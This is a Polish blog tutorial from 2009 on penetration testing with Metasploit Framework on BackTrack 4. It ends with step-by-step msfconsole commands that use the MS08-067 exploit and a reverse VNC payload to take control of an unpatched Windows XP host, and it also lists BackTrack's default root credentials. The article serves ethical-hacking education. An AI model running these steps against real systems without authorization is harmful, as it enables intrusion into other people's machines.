24 grudnia 2009
Metasploit Framework: przykładowy test penetracyjny w praktyce
czwartek, grudnia 24, 2009 | Autor:
\m/ojtek
Testy penetracyjne stanowią metodę oceny bezpieczeństwa systemu informatycznego poprzez symulowanie prawdziwych ataków mogących pochodzić od potencjalnych włamywaczy. Tester (zwany często etycznym hakerem lub pentesterem), korzystając z prawdziwych narzędzi umożliwiających wykonanie udanego włamania, próbuje przełamać zabezpieczenia testowanego systemu. Dopiero tego rodzaju testy są w stanie odpowiedzieć na pytanie, czy dany system informatyczny jest rzeczywiście odporny na znane obecnie rodzaje ataków. Tego rodzaju działania, polegające na wykonywaniu testowych włamań do własnych systemów (lub cudzych, za pełną zgodą uprawnionych administratorów oraz właścicieli) będą stanowić z pewnością fascynującą przygodę dla wszystkich osób zainteresowanych bezpieczeństwem informatycznym. Pozwoli nam to również na lepsze zrozumienie tego, w jaki sposób komputerowym włamywaczom udaje się przełamywać zabezpieczenia kolejnych systemów.
Za najlepsze zintegrowane środowisko do przeprowadzania tego rodzaju testów uznaje się powszechnie Core Impact firmy Core Security Technologies. Narzędzie to jest w stanie za pomocą ogromnej bazy komercyjnych exploitów automatycznie atakować i przejmować kontrolę nad testowanymi komputerami. Core Impact zdolny jest nawet do wykonywania kolejnych ataków z poziomu przejętych już maszyn. Niestety, za tak rozbudowaną i zautomatyzowaną funkcjonalność trzeba jednak zapłacić grube tysiące dolarów. Na szczęście, w 2004 roku powstał darmowy oraz otwarty (open source) projekt Metasploit Framework, pozwalający każdemu zainteresowanemu na zgłębienie fascynującego świata etycznego hackingu.
Metasploit Framework pozwala nie tylko na używanie zawartych w nim w sposób modularny exploitów, ale również na tworzenie oraz testowanie własnych lub przerabianie tych już istniejących. Można więc powiedzieć, że możliwości przeprowadzania testów penetracyjnych za pomocą środowiska Mestasploit są nawet większe niż w przypadku rozwiązań komercyjnych. Wszystko to jest oczywiście okupione brakiem daleko posuniętego zautomatyzowania testu. Pod pewnym względem jest to jednak zaletą, gdyż ręczne konfigurowanie exploitów, payloadów (programów wykonywanych w przejętym systemie po udanym włamaniu testowym) oraz całego środowiska pracy testera przyczyni się z pewnością do lepszego zrozumienia wszystkich aspektów przeprowadzanych włamań testowych.
Jako środowisko pracy z Metasploit Framework polecam dystrybucję Linux LiveCD BackTrack 4. Ta jedna z najbardziej cenionych w środowisku osób zajmujących się ofensywnym bezpieczeństwem dystrybucja zawiera dziesiątki wbudowanych oraz skonfigurowanych do pracy narzędzi wykorzystywanych przez pentesterów, takich jak właśnie środowisko Metasploit. Dysponując więc systemem BackTrack, możemy od razu rozpocząć naszą przygodę z testami penetracyjnymi.
Po uruchomieniu systemu (domyślne poświadczenia: root/toor) BackTrack musimy przede wszystkim skonfigurować interfejs sieciowy. W celu automatycznego pobrania konfiguracji z serwera DHCP przyda się polecenie dhclient.
Zanim przystąpimy do pracy ze środowiskiem Metasploit, warto wiedzieć, że w jego ramach istnieje kilka różnych interfejsów użytkownika, a mianowicie:
- msfconsole,
- msfcli,
- msfgui,
- msfweb.
Każdy z wymienionych interfejsów posiada zarówno wady, jak i zalety. Jednakże msfconsole jest środowiskiem najbardziej stabilnym, najczęściej aktualizowanym oraz pozwalającym na dostęp do praktycznie wszystkich funkcji oferowanych przez środowisko Metasploit. Z tego powodu, w dalszych rozważaniach skupimy się wyłącznie na tym interfejsie. W systemie BackTrack 4, dostęp do msfconsole uzyskamy wykonując (będąc w katalogu /pentest/exploits/framework3/) polecenie ./msfconsole lub też wybierając z głównego systemowego menu opcję Backtrack/Penetration/Framework Version 3/msfconsole. Z poziomu msfconsole może rozpocząć nasz testowy atak. Zanim jednak zaczniemy na dobre, zaktualizujmy jeszcze całe środowisku Metasploit za pomocą polecenia svn update.
Jako przykład testu penetracyjnego z prawdziwego zdarzenia, spróbujemy przejąć pełną kontrolę nad systemem Windows XP za pomocą exploitu windows/smb/ms08_067_netapi. Moduł ten jest w stanie wykorzystać krytyczny błąd w zabezpieczeniach usługi Serwer (Biuletyn zabezpieczeń firmy Microsoft MS08-067) obecny w wielu systemach z rodziny Windows i pozwalający na zdalne wykonanie kodu. Warunkiem udanego włamania testowego jest brak w docelowym systemie poprawki bezpieczeństwa KB921883. Jako payload wykorzystamy moduł windows/vncinject/reverse_tcp. W wyniku udanego testu otrzymamy więc w pełni funkcjonalną sesję VNC pozwalającą na swobodne zarządzanie docelowym systemem Windows! Procedura testu wygląda następująco (wszystkie polecenia wydajemy w uruchomionej wcześniej konsoli msfconsole, adresy IP należy wprowadzić zgodnie z własnymi ustawieniami):
- use windows/smb/ms08_067_netapi (wybór oraz wejście w tryb konfiguracji modułu exploitu ms08_067_netapi),
- set RHOST 192.168.64.135 (ustawienie adresu IP systemu poddawanego testowi),
- set target 0 (ustawienie automatycznego wyboru celu – automatyczne dostosowanie się exploitu do wersji systemu Windows pracującego na docelowym komputerze),
- set payload windows/vncinject/reverse_tcp (wybór oraz wejście w tryb konfiguracji modułu payloadu vncinject/reverse_tcp),
- set lhost 192.168.64.134 (ustawienie adresu IP systemu pentestera, z którym to uruchomiony payload ma nawiązać połączenie reverse VNC),
- exploit (uruchomienie exploitu).
W efekcie otrzymamy sesję VNC, za pomocą której możemy zarządzać zdalnym systemem! Przebieg testu oraz jego wynik przedstawia poniższy zrzut ekranu.
W podobny sposób możemy testować bezpieczeństwo innych systemów operacyjnych oraz usług pracujących w docelowej infrastrukturze za pomocą innych modułów Metasploit Framework. Zapraszam więc wszystkich zainteresowany do zgłębiania niezwykle interesującego świata testów penetracyjnych!
Artykuł autorski HCSL - Wojciech Smol
Metasploit Framework: przykładowy test penetracyjny w praktyce
2009-12-24T16:31:00+01:00
\m/ojtek
Artykuły autorskie|Bezpieczeństwo systemów operacyjnych|Etyczny hacking|Narzędzia|Obrona - Atak|Testy penetracyjne|
Subskrybuj:
Komentarze do posta (Atom)
Wyszukaj w HCSL:
Subskrybuj:
Najpopularniejsze artykuły wszech czasów:
- Urządzenia do kopiowania kart płatniczych
- Co tak naprawdę ujawniasz w Internecie?
- Dlaczego należy zasłaniać klawiaturę bankomatu?
- Publiczna wiadomość z ukrytym przekazem
- Przyszłość antywirusów jest jasna
- Sposób na obejście internetowych blokad
- Superbezpieczne hasła na... żółtej karteczce
- Funkcje sprzętowego kasowania danych w HDD!
- 12-latek odkrył krytyczną lukę w Firefoksie
- Przestępstwo nie popłaca
- Czy jesteśmy inwigilowani przez chiński sprzęt?
- Gotowy zestaw do podsłuchiwania GSM
- Jak działa internetowa mafia?
- Uwaga na nowy rodzaj ataków phishingowych!
- Microsoftowy poradnik dla organów ścigania!
- Polski super-bezpieczny system Qubes OS
- Dane wieczyście dostępne
- Pierwszy atak samochodowych crackerów
- Pliki PDF zdolne do wykonania dowolnego kodu
- Polskie służby współpracują z firmą Google?
- Więzienie za odmowę ujawnienia hasła
- Podrzucanie dziecięcej pornografii
- Zapomniany film o hakerach
- Łamanie haseł w Windows Vista i 7